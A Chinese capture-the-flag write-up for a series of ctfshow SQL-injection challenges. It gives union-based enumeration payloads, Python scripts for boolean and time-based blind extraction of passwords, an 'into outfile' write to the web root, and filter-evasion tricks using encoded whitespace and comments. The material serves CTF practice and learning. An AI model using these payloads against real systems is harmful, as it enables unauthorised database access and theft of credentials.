先打开我们本地的mysql,可以看到这些数据库
information_schema 库: 是信息数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息比如数据库名,数据库表,
SCHEMATA表: 提供了当前MySQL实例中所有的数据库信息,show databases 结果取之此表
TABLES 表:提供了关于数据中表的信息
COLUMNS 表:提供了表中的列信心,详细描述了某张表的所有列已经每个列的信息
mysql库: MySQL的核心数据库,主要负责存储数据库的用户、权限设置、关键字等mysql自己需要使用的控制和管理信息。
performance_schema 库: 内存数据库,数据放在内存中直接操作的数据库。相对于磁盘,内存的数据读写速度要高出几个数量级,将数据保存在内存中相 比从磁盘上访问能够极大地提高应用的性能。
sys 库:通过这个数据库数据库,可以查询谁使用了最多的资源基于IP或是用户。哪张表被访问过最多等等信息。
1' 报错
注释 --+
三列
爆当前数据库
- 1' union select 1,2,database() --+
-
- 在第三个位置插入当前数据库
爆表
- 1' union select 1,2,table_name from information_schema.tables where table_schema='ctfshow_web' --+
-
- 在information_schema的tables表中查找table_name当table_schema列为ctfshow_web的时候
爆字段
- 1' union select 1,2,column_name from information_schema.columns where table_name='ctfshow_user' --+
-
- 与上个类似
- 1' union select 1,2,password from ctfshow_user --+
-
- 猜测flag在password字段里面
查询语句不允许直接查 username=flag的记录。
- //检查结果是否有flag
- if($row->username!=='flag'){
- $ret['msg']='查询成功';
- }
-
跟171一样也是单引号报错
- 1' union select 1,2 --+
-
- 字段数为2
爆库
爆表
1' union select 1,table_name from information_schema.tables where table_schema='ctfshow_web' --+
爆字段名
- 1' union select 1,column_name from information_schema.columns where table_name='ctfshow_user2' --+
-
- 在columns这个表中查询字段名当表名为ctfshow_user2的时候
1' union select 1,password from ctfshow_user2--+
- //检查结果是否有flag
- if(!preg_match('/flag/i', json_encode($ret))){
- $ret['msg']='查询成功';
- }
字段数为3
1' union select 1,2,database() --+
1' union select 1,2,table_name from information_schema.tables where table_schema='ctfshow_web' --+
1' union select 1,2,column_name from information_schema.columns where table_name='ctfshow_user3' --+
1' union select 1,2,password from ctfshow_user3 --+
- //检查结果是否有flag
- if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
- $ret['msg']='查询成功';
- }
返回的值不能有数字了
抓包一下,看到admin
加个单引号
没有信息,由此可以判断是布尔盲注了
访问一下看看
不适用二分法跑的很慢很慢
- import requests
-
- url = 'http://2691519d-979d-4309-8fa7-5d333534bef7.challenge.ctf.show/api/v4.php'
- flag = ''
-
- for i in range(60):
- for j in range(32, 128):
- payload = f"?id=1' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),{i},1))={j},'True','False') --+" //f''是一种字符串插值的方式,也被称为f-string
- r = requests.get(url=url+payload).text
-
- if 'True' in r:
- flag += chr(j)
- print(flag)
- break
-
-
- import requests
-
- url="http://2691519d-979d-4309-8fa7-5d333534bef7.challenge.ctf.show/api/v4.php"
- payload="?id=1' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),{0},1))={1},'true','false') --+"
- flag=''
-
- for i in range(50):
- for j in range(32,128):
- payload1=payload.format(i,j)
- print(payload1)
- params={'password':payload1,'username':1}
- response=requests.get(url=url,params=params)
- if 'true' in response.text:
- flag+=chr(j)
- print(flag)
- break
使用二分法
- import requests
- url = 'http://2691519d-979d-4309-8fa7-5d333534bef7.challenge.ctf.show/api/v4.php'
- flag = ''
- for i in range(60):
- lenth = len(flag)
- min,max = 32,128
- while True:
- j = min + (max-min)//2
- if(min == j):
- flag += chr(j)
- print(flag)
- break
-
- payload = f"?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),{i},1))<{j},'True','False') --+"
- r = requests.get(url=url+payload).text
-
- if('True' in r):
- max = j
- else:
- min = j
- 0' union select REPLACE(username,'g','j'),REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,'g','9'),'0','h'),'1','i'),'2','j'),'3','k'),'4','l'),'5','m'),'6','n'),'7','o'),'8','p'),'9','q') from ctfshow_user4 where username='flag' --+
- 0替换为h
- 1替换为i
- 2替换为j
- 3替换为k
- 4替换为l
- 5替换为m
- 6替换为n
- 7替换为o
- 8替换为p
- 9替换为q
ctfshow{plcnhacc-kipa-lqqp-qihk-iccqelhffjja}
ctfshow{84c60acc-318a-4998-9103-1cc9e40ff22a}
- //检查结果是否有flag
- if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
- $ret['msg']='查询成功';
- }
过滤掉了ascii从0到127的字符,所以就不能单纯地靠回显来爆出flag
使用bp抓包看看,又看到api接口
只有两列
写了很久大姐
- import requests
-
- import time
-
- url = 'http://19f0da73-14c2-4086-adc5-f3c1a82ea553.challenge.ctf.show/api/v5.php'
- flag = ''
-
- for i in range(1, 60):
- for j in range(97, 128):
- payload = f"?id=1' and if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),{i},1))>{j},sleep(0.5),0)--+"
-
-
-
- start_time = time.time()
- r = requests.get(url=url + payload).text
- end_time = time.time()
-
- if end_time - start_time <= 0.45:
- flag += chr(j)
- print(flag)
- break
这是别人用的二分法
- import requests
- from time import time
-
- url = 'http://19f0da73-14c2-4086-adc5-f3c1a82ea553.challenge.ctf.show/api/v5.php'
- flag = ''
-
- for i in range(1, 100):
- length = len(flag)
- min = 32
- max = 128
- while 1:
- j = min + (max - min) // 2
- if min == j:
- flag += chr(j)
- print(flag)
- break
-
- payload = "?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),%d,1))<%d,sleep(0.5),1) --+" % (i, j)
- start_time = time()
- r = requests.get(url=url + payload).text
- end_time = time()
-
- # print(r)
- if end_time - start_time > 0.48:
- max = j
- else:
- min = j
写入文件的前提是知道网站初始的目录,一般来说都是/var/www/html/
1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+
so,输出被限制的时候可以利用文件写入操作,into outfile
这关select被过滤,大写绕过
Select
1' union Select 1,2,table_name from information_schema.tables where table_schema='ctfshow_web' --+
1' union Select 1,2,column_name from information_schema.columns where table_name='ctfshow_user' --+
1' union Select 1,2,password from ctfshow_user --+
这里用#的url编码%23来替代
用内敛注释 /**/ 代替空格
1'/**/union/**/select/**/1,2,table_name/**/from/**/information_schema.tables/**/where/**/table_schema='ctfshow_web'%23
1'/**/union/**/select/**/1,2,column_name/**/from/**/information_schema.columns/**/where/**/table_name='ctfshow_user'%23
1'/**/union/**/select/**/1,2,password/**/from/**/ctfshow_user%23
不能用*
那用%09来绕过空格
1'%09union%09select%091,2,table_name%09from%09information_schema.tables%09where%09table_schema='ctfshow_web'%23
1'%09union%09select%091,2,column_name%09from%09information_schema.columns%09where%09table_name='ctfshow_user'%23
1'%09union%09select%091,2,password%09from%09ctfshow_user%23
这里用%0c来代替空格
- 1'%0cunion%0cselect%0c1,2,3%23
- 1'%0cunion%0cselect%0c1,2,table_name%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'%23
-
- 1'%0cunion%0cselect%0c1,2,column_name%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'%23
- 1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23
总结1下空格被过滤绕过的方法
- %0a
- %0b
- %0c
- %0d
- %09
- %a0(在特定字符集才能利用)
- 以上均为URL编码
-
- /**/组合
- 括号
- %23代替注释符 --